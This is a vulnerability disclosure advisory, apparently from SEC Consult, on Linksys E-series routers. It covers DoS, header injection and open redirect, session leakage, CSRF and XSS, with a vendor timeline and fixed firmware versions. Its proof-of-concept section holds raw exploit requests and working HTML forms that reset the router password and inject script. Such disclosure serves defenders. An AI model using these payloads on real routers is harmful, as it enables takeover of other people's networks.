Multiple vulnerabilities in Linksys E-series products

Project Description

Multiple Linksys E series products are prone to CSRF and XSS attacks due to unsafe session-management and insecure programming. Futhermore, a HTTP-header injection enables an attacker to redirect the user to a malicious web-site. (Permanent) Denial of Service attacks are also possible by exploiting additional functionality of the web-service.

Vendor description

“Today, Belkin International has three brands – Belkin, Linksys and WeMo – to enhance the technology that connects us to the people, activities and experiences we love. Belkin products are renowned for their simplicity and ease of use, while our Linksys brand helped make wireless connectivity mainstream around the globe. Our newest brand, WeMo, is the leader in delivering customizable smart home experiences. Its product platform empowers people to monitor, measure and manage their electronics, appliances and lighting at home and on-the-go.”


Business recommendation

SEC Consult recommends not to use this product in a production environment until a thorough security review has been performed by security professionals and all identified issues have been resolved.

Vulnerability overview/description

1) Denial of Service (DoS)

A denial of service vulnerability is present in the web server of the device. This vulnerability is very simple to trigger since a single GET request to a cgi-script is sufficient.

A crafted GET request, e.g. triggered by CSRF over a user in the internal network, can reboot the whole device or freeze the web interface and the DHCP service. This action does not require authentication.

2) HTTP Header Injection & Open Redirect

Due to a flaw in the web service a header injection can be triggered without authentication. This kind of vulnerability can be used to perform different arbitrary actions. One example in this case is an open redirection to another web site. In the worst case a session ID of an authenticated user can be stolen this way because the session ID is embedded into the url which is another flaw of the web service.

3) Improper Session-Protection

The session ID for administrative users can be fetched from the device from LAN without credentials because of insecure session handling. This vulnerability can only be exploited when an administrator was authenticated to the device before the attack and opened a session previously.

The login works if the attacker has the same IP address as the PC of the legitimate administrator. Therefore, a CSRF attack is possible when the administrator is lured to surf on a malicious web site or to click on a malicious link.

4) Cross-Site Request Forgery Vulnerability in Admin Interface

A cross-site request forgery vulnerability can be triggered in the administrative interface. This vulnerability can be exploited because the session ID can be hijacked by using 3) via LAN. An exploitation via internet is only possible if the session id is exposed to the internet (for example via the referrer).

An attacker can change any configuration of the device by luring a user to click on a malicious link or surf to a malicious web-site.

5) Cross-Site Scripting Vulnerability in Admin Interface

A cross-site scripting vulnerability can be triggered in the administrative interface. This vulnerability can be exploited because the session ID can be hijacked by using 3) via LAN. An exploitation via internet is only possible if the session id is exposed to the internet (for example via the referrer).

By using this vulnerability, malicious code can be executed in the context of the browser session of the attacked user.

Proof of concept

1) Denial of Service

Unauthenticated request for triggering a router reboot in browser:

Unauthenticated request for triggering a router freeze in browser:

2) HTTP Header Injection & Open Redirect

A header injection can be triggered by the following unauthenticated request:

POST /UnsecuredEnable.cgi HTTP/1.1
Host: <Router-IP>
Accept: */*
Accept-Language: en
Connection: close
Referer: http://<Router-IP>/Unsecured.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 97


HTTP/1.1 302 Redirect
Server: httpd
Date: Thu, 01 Jan 1970 00:27:41 GMT
Location: http://INJEC
Content-Type: text/plain
Connection: close

Setting a new location will result in an open redirect:

POST /UnsecuredEnable.cgi HTTP/1.1
Host: <Router-IP>
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97


HTTP/1.1 302 Redirect
Server: httpd
Date: Thu, 01 Jan 1970 00:27:57 GMT
Content-Type: text/plain
Connection: close

3) Improper Session-Protection

These two requests can be used to fetch the current session ID of an authenticated user.


The response is nearly the same (except the “inetblock” and “blocksite” functions):

HTTP/1.1 200 Ok
Server: httpd
Date: Thu, 01 Jan 1970 00:04:32 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
function init()
var close_session = "0";
if ( close_session == "1" )
document.forms[0].action= "hndUnblock.cgi";
document.forms[0].action= "hndUnblock.cgi?session_id=<Session-ID>";
<body id="blocked" onload=init()>
<div id="content">
<div class="h1">

4) Cross-Site Request Forgery Vulnerability in Admin Interface

The following proof of concept HTML code can change the router password by exploiting CSRF after replacing the <Session-ID> with the fetched one from 3).

The new password is “secconsult”.

<script>history.pushState('', '', '/')</script>
<form action="<Session-ID>" method="POST">
<input type="hidden" name="submit&#95;button" value="Management" />
<input type="hidden" name="change&#95;action" value="" />
<input type="hidden" name="gui&#95;action" value="Apply" />
<input type="hidden" name="PasswdModify" value="1" />
<input type="hidden" name="http&#95;enable" value="1" />
<input type="hidden" name="https&#95;enable" value="0" />
<input type="hidden" name="ctm404&#95;enable" value="" />
<input type="hidden" name="remote&#95;mgt&#95;https" value="0" />
<input type="hidden" name="wait&#95;time" value="4" />
<input type="hidden" name="need&#95;reboot" value="0" />
<input type="hidden" name="http&#95;passwd" value="secconsult" />
<input type="hidden" name="http&#95;passwdConfirm" value="secconsult" />
<input type="hidden" name="&#95;http&#95;enable" value="1" />
<input type="hidden" name="web&#95;wl&#95;filter" value="0" />
<input type="hidden" name="remote&#95;management" value="0" />
<input type="hidden" name="nf&#95;alg&#95;sip" value="0" />
<input type="hidden" name="upnp&#95;enable" value="1" />
<input type="hidden" name="upnp&#95;config" value="1" />
<input type="hidden" name="upnp&#95;internet&#95;dis" value="0" />
<input type="submit" value="Submit request" />

5) Cross-Site Scripting Vulnerability in Admin Interface

The <Session-ID> must be replaced again. The “apply.cgi” script can be abused to trigger the cross-site scripting vulnerability.

<script>history.pushState('', '', '/')</script>
<form action="<Session-ID>" method="POST">
<input type="hidden" name="submit&#95;button" value="index" />
<input type="hidden" name="change&#95;action" value="" />
<input type="hidden" name="submit&#95;type" value="" />
<input type="hidden" name="gui&#95;action" value="Apply" />
<input type="hidden" name="now&#95;proto" value="dhcp" />
<input type="hidden" name="daylight&#95;time" value="1" />
<input type="hidden" name="switch&#95;mode" value="0" />
<input type="hidden" name="hnap&#95;devicename" value="csrft_POC" />
<input type="hidden" name="need&#95;reboot" value="0" />
<input type="hidden" name="user&#95;language" value="" />
<input type="hidden" name="wait&#95;time" value="1';alert('XSS-PoC')//155" />
<input type="hidden" name="dhcp&#95;start" value="100" />
<input type="hidden" name="dhcp&#95;start&#95;conflict" value="0" />
<input type="hidden" name="lan&#95;ipaddr" value="4" />
<input type="hidden" name="ppp&#95;demand&#95;pppoe" value="9" />
<input type="hidden" name="ppp&#95;demand&#95;pptp" value="9" />
<input type="hidden" name="ppp&#95;demand&#95;l2tp" value="9" />
<input type="hidden" name="ppp&#95;demand&#95;hb" value="9" />
<input type="hidden" name="wan&#95;ipv6&#95;proto" value="dhcp" />
<input type="hidden" name="detect&#95;lang" value="en" />
<input type="hidden" name="wan&#95;proto" value="dhcp" />
<input type="hidden" name="wan&#95;hostname" value="" />
<input type="hidden" name="wan&#95;domain" value="" />
<input type="hidden" name="mtu&#95;enable" value="0" />
<input type="hidden" name="lan&#95;ipaddr&#95;0" value="192" />
<input type="hidden" name="lan&#95;ipaddr&#95;1" value="168" />
<input type="hidden" name="lan&#95;ipaddr&#95;2" value="1" />
<input type="hidden" name="lan&#95;ipaddr&#95;3" value="1" />
<input type="hidden" name="lan&#95;netmask" value="255&#46;255&#46;255&#46;0" />
<input type="hidden" name="machine&#95;name" value="Linksys09355" />
<input type="hidden" name="lan&#95;proto" value="dhcp" />
<input type="hidden" name="dhcp&#95;check" value="" />
<input type="hidden" name="dhcp&#95;start&#95;tmp" value="100" />
<input type="hidden" name="dhcp&#95;num" value="50" />
<input type="hidden" name="dhcp&#95;lease" value="0" />
<input type="hidden" name="wan&#95;dns" value="4" />
<input type="hidden" name="wan&#95;dns0&#95;0" value="0" />
<input type="hidden" name="wan&#95;dns0&#95;1" value="0" />
<input type="hidden" name="wan&#95;dns0&#95;2" value="0" />
<input type="hidden" name="wan&#95;dns0&#95;3" value="0" />
<input type="hidden" name="wan&#95;dns1&#95;0" value="0" />
<input type="hidden" name="wan&#95;dns1&#95;1" value="0" />
<input type="hidden" name="wan&#95;dns1&#95;2" value="0" />
<input type="hidden" name="wan&#95;dns1&#95;3" value="0" />
<input type="hidden" name="wan&#95;dns2&#95;0" value="0" />
<input type="hidden" name="wan&#95;dns2&#95;1" value="0" />
<input type="hidden" name="wan&#95;dns2&#95;2" value="0" />
<input type="hidden" name="wan&#95;dns2&#95;3" value="0" />
<input type="hidden" name="wan&#95;wins" value="4" />
<input type="hidden" name="wan&#95;wins&#95;0" value="0" />
<input type="hidden" name="wan&#95;wins&#95;1" value="0" />
<input type="hidden" name="wan&#95;wins&#95;2" value="0" />
<input type="hidden" name="wan&#95;wins&#95;3" value="0" />
<input type="hidden" name="time&#95;zone" value="&#45;08&#32;1&#32;1" />
<input type="hidden" name="&#95;daylight&#95;time" value="1" />
<input type="submit" value="Submit request" />

Vulnerable / tested versions

Linksys E2500 – 3.0.02 (build 2)

According to the Linksys security contact the following products are affected too:

  • Linksys E900 (Version: 1.0.06)
  • Linksys E1200 (Version: 2.0.07 Build 5)
  • Linksys E8400 AC2400 Dual-Band Wi-Fi Router (Version: basic version ?)

Based on information embedded in the firmware of other Linksys products gathered from our IoT Inspector tool we believe the following devices are affected as well:

  • Linksys E900 (Version: 1.0.06) — confirmed by vendor
  • Linksys E900-ME (Version: 1.0.06)
  • Linksys E1200 (Version: 2.0.07 Build 5) — confirmed by vendor
  • Linksys E1500 (Version: 1.0.06 Build 1)
  • Linksys E3200 (Version: 1.0.05 Build 2)
  • Linksys E4200 (Version: 1.0.06 Build 3)
  • Linksys WRT54G2 (Version: 1.5.02 Build 5)

Vendor contact timeline

2017-07-10: Contacting vendor through Set release date to 2017-08-29.
2017-07-12: Confirmation of recipient. The contact also states that the unit is older and they have to look for it.
2017-08-07: Asking for update; Contact responds that they have to look for such a unit in their inventory.
2017-08-08: Contact responds that he verified three of four vulnerabilities.
2017-08-09: Sent PCAP dump and more information about vulnerability #4 to assist the contact with verification.
2017-08-18: Sending new advisory version to contact and asking for an update; No answer.
2017-08-22: Asking for an update; Contact states that he is trying to get a fixed firmware from the OEM.
2017-08-24: Asked the vendor how much additional time he will need.
2017-08-25: Vendor states that it is difficult to get an update from the OEM due to the age of the product (“Many of the engineers who originally worked on this code base are no longer with the company”). Clarified some CORS/SOP issues which were misunderstood.
2017-08-30: Sending Proof of Concept for CSRF/XSS as HTML files to the vendor. Changed the vulnerability description of the advisory to explain the possibility of exploiting the CSRF/XSS vulnerabilities from LAN and WAN side.
2017-09-07: Asking for an update; Vendor agrees with the new vulnerability descriptions and states that the OEM got back to them with a fix for the E2500 and they are in the QA phase. The vendor is expecting fixes for E900, E1200, and E8400 later this week or next week to hand them over to QA.
2017-09-07: Stated that E8400 was not found by the IoT Inspector because there was no firmware available to download online. Stated that it will be available in the next version of the advisory. Shifting the advisory release to 2017-09-26. Asking for confirmation of the other reported devices:
Linksys E900-ME (Version: 1.0.06)
Linksys E1500 (Version: 1.0.06 Build 1)
Linksys E3200 (Version: 1.0.05 Build 2)
Linksys E4200 (Version: 1.0.06 Build 3)
Linksys WRT54G2 (Version: 1.5.02 Build 5)
No answer.
2017-09-18: Sending new version of the advisory to the vendor. Asking for an update; No answer.
2017-09-21: Asking for an update; No answer.
2017-09-26: Asking for an update; No answer.
2017-10-02: Asking for an update and shifting the advisory release to
2017-10-09; No answer.
2017-10-16: Informing the vendor that the advisory will be released on 2017-10-18 because vendor is unresponsive.
2017-10-18: Public release of security advisory
2017-10-24: Updated advisory


Upgrade to new firmware version as soon as the vendor publishes it.

Update 2017-10-24: Found updates on the vendor support-page. Updates for the
reported issues are available for:

  • Linksys E900(-ME) – Firmware 1.0.07 (build 1)
  • Linksys E1200 – Firmware 2.0.08 (build 2)
  • Linksys E2500 – Firmware 3.0.03 (build 1)
  • Linksys E8400 – Firmware 1.0.01 (build 001)

Updates are not yet available for:

  • Linksys E1500
  • Linksys E3200
  • Linksys E4200
  • Linksys WRT54G2


Restrict network access to the device.

Advisory URL


EOF T. Weber / @2017

Project Details

  • TitleMultiple vulnerabilities
  • ProductLinksys E series
  • Vulnerable versionsee "Vulnerable / tested versions"
  • Fixed versionUpdate 2017-10-21: Linksys E900(-ME) - Firmware 1.0.07 (build 1), Linksys E1200 - Firmware 2.0.08 (build 2), Linksys E2500 - Firmware 3.0.03 (build 1), Linksys E8400 - Firmware 1.0.01 (build 001)
  • CVE number-
  • Impacthigh
  • Homepage
  • Found2017-06-26
  • ByT. Weber (Office Vienna) | SEC Consult Vulnerability Lab

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